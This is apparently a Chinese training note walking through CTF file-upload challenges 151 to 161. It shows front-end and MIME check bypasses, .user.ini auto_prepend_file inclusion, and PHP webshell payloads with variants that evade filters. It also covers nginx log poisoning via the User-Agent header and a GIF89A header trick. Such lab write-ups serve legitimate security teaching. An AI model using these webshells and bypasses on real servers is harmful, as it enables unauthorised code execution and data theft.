第31天:WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性

#知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
151
查看源代码,看看是否有前台验证。

看到外部引用的JavaScript代码,进行进一步跟踪

发现过滤性代码:<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">
鼠标放在上传图片中,然后右键元素,对<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">进行修改,把png改为php,就可以进行文件上传php文件

上传php代码后,进行flag的读取。查找flag位置:x=system('ls ../');

读取flag:x=system('tac ../flag.php');

152
查看源代码,把png修改为php,发生文件类型不合规。

接着把Content-Type: application/octet-stream修改Content-Type: image/png类型,能够上传了php

接着就是获取flag位置,读取flag
获取flag:x=system('ls ../');
读取flag:x=system('tac ../flag.php');

153
继续修改png和Content-Type的值,但是饶过不了了。

思考:修改mime不生效,还有什么绕过方法:00截断,多文件格式后缀解析,大小写(但是提示下载),php5(提示下载),等。
这里我们使用的是.user.ini(与.htaccess类似,但是.htaccess搭建在Apache中才能使用。.user.ini是与PHP挂钩的。)
.user.ini解释:https://www.php.net/manual/zh/configuration.file.per-user.php
上传一个.user.ini,内容:auto_prepend_file=test.png

接着上传png,写上后门代码:<?php eval($_POST['x']);?>

然后访问:upload目录,查看flag位置:x=system('ls ../');
读取flag:x=system('tac ../flag.php');

.user.ini的利用条件看似看简单,上传一个.user.ini,包含一个文件,上传文件就可以利用。但是这个需要一个指向性文件index.php,调用.user.ini,使.user.ini生效。访问并不是访问.user.ini和test.png,而是访问一个index.php文件(首先指向文件)。参考https://blog.csdn.net/z13615480737/article/details/89084360
154,155
上传.user.ini:auto_prepend_file=test.png

上传test.png:<?php eval($_POST['X']);?>
发现上传失败,对内容进行检测。

经过删除测试,对<?php进行了过滤。
那么如何绕过这个内容过滤呢,后门代码应该怎么执行呢。
能不能不写<?php也能执行出php代码效果?
下面这几种都是可以的:
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script> //不需要修改参数开关
选择第二种写法<?=eval($_POST['x']);?>

然后访问:upload/index.php文件,查看flag位置:x=system('ls ../');
读取flag:x=system('tac ../flag.php');

156
上传.user.ini和test.png
test.png:<?=eval($_POST['x']);?>存在过滤

删除测试,发现过滤了[]两个符号
php支持{}符号代替[]符号
<?=eval($_POST{'X'});>

然后访问:upload/index.php文件,查看flag位置:x=system('ls ../');
读取flag:x=system('tac ../flag.php');
157 158
上传.user.ini:auto_prepend_file=test.png
上传test.png:<?=eval($_POST{'X'});>
test.png对内容进行了检测
对分号进行过滤,那么想不要分号能不能执行语句。那么可以直接调用来执行。
可以直接上传读取文件的代码:<?=system('tac ../fl*')?>

直接访问/upload/index.php

159
上传.user.ini:auto_prepend_file=test.png
上传test.png:<?=system('tac ../fl*')?>
发现<?=system('tac ../fl*')?>进行了过滤()
直接用反引号来进行命令执行`
这样构造payloa:<?`tac ../f*?>

这样读取是不可以的,需要加上flag的相对路径,<? echo `tac /var/www/html/f*`?> 访问upload就可以获取flag
160
上传.user.ini:auto_prepend_file=test.png
上传test.png:<? echo `tac /var/www/html/f*`?>
发现对test.png 的内容进行了过滤`
这次关卡用到的是包含日志性文件,日志里面会记录访问者的信息:ua头,访问地址,访问ip 等。
运行linux nginx的日志路径:/var/log/nginx/access.log
包含日志文件:test.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

发现日志文件会记录ua头信息,在UA头中写入后门代码<?php eval($_POST['x']);?>

161
上传.user.ini,直接被拦截

换正常的图片看看能不能上传,发现是文件头过滤,在代码上加上GIF89A

上传png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
访问upload,修改UA头,写上后门代码。就可以读取flag
